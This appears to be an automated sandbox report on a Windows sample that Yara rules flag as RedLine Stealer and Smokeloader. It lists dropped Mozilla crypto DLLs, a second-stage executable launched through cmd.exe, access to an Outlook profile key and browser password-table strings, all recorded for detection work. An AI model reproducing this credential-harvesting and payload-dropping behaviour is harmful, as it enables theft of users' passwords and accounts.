Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

7_2_00532590

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2245990015.00000000041E5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C90ED10 malloc,NtFlushVirtualMemory,memset,LdrInitializeThunk,memset,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C90ED10
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C94B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C94B700
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C94B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C94B8C0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C94B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C94B910
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8EF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C8EF280

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8E35A0	0_2_6C8E35A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8F6C80	0_2_6C8F6C80
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9434A0	0_2_6C9434A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C94C4A0	0_2_6C94C4A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C90D4D0	0_2_6C90D4D0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8F64C0	0_2_6C8F64C0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C926CF0	0_2_6C926CF0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8ED4E0	0_2_6C8ED4E0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C925C10	0_2_6C925C10
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C932C10	0_2_6C932C10
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C95AC00	0_2_6C95AC00
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C95542B	0_2_6C95542B
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C95545C	0_2_6C95545C
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8F5440	0_2_6C8F5440
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C920DD0	0_2_6C920DD0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9485F0	0_2_6C9485F0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C90ED10	0_2_6C90ED10
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C910512	0_2_6C910512
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8FFD00	0_2_6C8FFD00
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C905E90	0_2_6C905E90
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C94E680	0_2_6C94E680
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C944EA0	0_2_6C944EA0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9576E3	0_2_6C9576E3
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8EBEF0	0_2_6C8EBEF0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8FFEF0	0_2_6C8FFEF0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C927E10	0_2_6C927E10
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C935600	0_2_6C935600
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C949E30	0_2_6C949E30
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C909E50	0_2_6C909E50
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C923E50	0_2_6C923E50
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C904640	0_2_6C904640
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C932E4E	0_2_6C932E4E
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C956E63	0_2_6C956E63
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8EC670	0_2_6C8EC670
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9377A0	0_2_6C9377A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C916FF0	0_2_6C916FF0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8EDFE0	0_2_6C8EDFE0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C927710	0_2_6C927710
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8F9F00	0_2_6C8F9F00
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9160A0	0_2_6C9160A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9550C7	0_2_6C9550C7
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C90C0E0	0_2_6C90C0E0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9258E0	0_2_6C9258E0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8F7810	0_2_6C8F7810
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C92B820	0_2_6C92B820
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C934820	0_2_6C934820
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C908850	0_2_6C908850
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C90D850	0_2_6C90D850
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C92F070	0_2_6C92F070
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C925190	0_2_6C925190
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C942990	0_2_6C942990
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C91D9B0	0_2_6C91D9B0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8EC9A0	0_2_6C8EC9A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C90A940	0_2_6C90A940
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C93B970	0_2_6C93B970
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C95B170	0_2_6C95B170
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8FD960	0_2_6C8FD960
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C95BA90	0_2_6C95BA90
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C952AB0	0_2_6C952AB0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8E22A0	0_2_6C8E22A0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C914AA0	0_2_6C914AA0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8FCAB0	0_2_6C8FCAB0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C928AC0	0_2_6C928AC0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C901AF0	0_2_6C901AF0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C92E2F0	0_2_6C92E2F0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C929A60	0_2_6C929A60
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8EF380	0_2_6C8EF380
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9553C8	0_2_6C9553C8
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C92D320	0_2_6C92D320
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8E5340	0_2_6C8E5340
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C8FC370	0_2_6C8FC370
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C9EECD0	0_2_6C9EECD0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C98ECC0	0_2_6C98ECC0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6CA6AC30	0_2_6CA6AC30
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6CA56C00	0_2_6CA56C00
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C99AC60	0_2_6C99AC60
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00589063	7_2_00589063
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00587830	7_2_00587830
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058A988	7_2_0058A988
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00531A40	7_2_00531A40
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058B29C	7_2_0058B29C
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058BB06	7_2_0058BB06
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00592BD5	7_2_00592BD5
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00585C20	7_2_00585C20
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00535500	7_2_00535500
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058B6D1	7_2_0058B6D1
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058AE84	7_2_0058AE84
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00593759	7_2_00593759

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: String function: 00588810 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: String function: 00589E8D appears 31 times
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: String function: 6C91CBE8 appears 134 times
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: String function: 6C9294D0 appears 90 times
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: String function: 004043B0 appears 316 times

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2204

Source: YEnIrzZUUw.exe, 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs YEnIrzZUUw.exe
Source: YEnIrzZUUw.exe, 00000000.00000002.2245757080.0000000004023000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirezer( vs YEnIrzZUUw.exe
Source: YEnIrzZUUw.exe, 00000000.00000002.2266837977.000000006CB65000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs YEnIrzZUUw.exe
Source: YEnIrzZUUw.exe	Binary or memory string: OriginalFilenameFirezer( vs YEnIrzZUUw.exe

Source: YEnIrzZUUw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2245990015.00000000041E5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/40@0/2

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_6C947030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C947030

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Mutant created: \Sessions\1\BaseNamedObjects\8dddf1vvvv
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7932:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7428

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

File created: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Command line argument: 8dddf1vvvv	7_2_00532590
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Command line argument: 8dddf1vvvv	7_2_00532590
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Command line argument: f1vvvv	7_2_00532590
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Command line argument: 8dddf1vvvv	7_2_00532590

Source: YEnIrzZUUw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: YEnIrzZUUw.exe, YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: YEnIrzZUUw.exe, 00000000.00000003.1766416230.00000000245B4000.00000004.00000020.00020000.00000000.sdmp, AEBKKECBGIIJJKECGIJE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: YEnIrzZUUw.exe, 00000000.00000002.2265884130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: YEnIrzZUUw.exe	ReversingLabs: Detection: 55%
Source: YEnIrzZUUw.exe	Virustotal: Detection: 59%

Source: unknown	Process created: C:\Users\user\Desktop\YEnIrzZUUw.exe "C:\Users\user\Desktop\YEnIrzZUUw.exe"
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2204
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"	Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

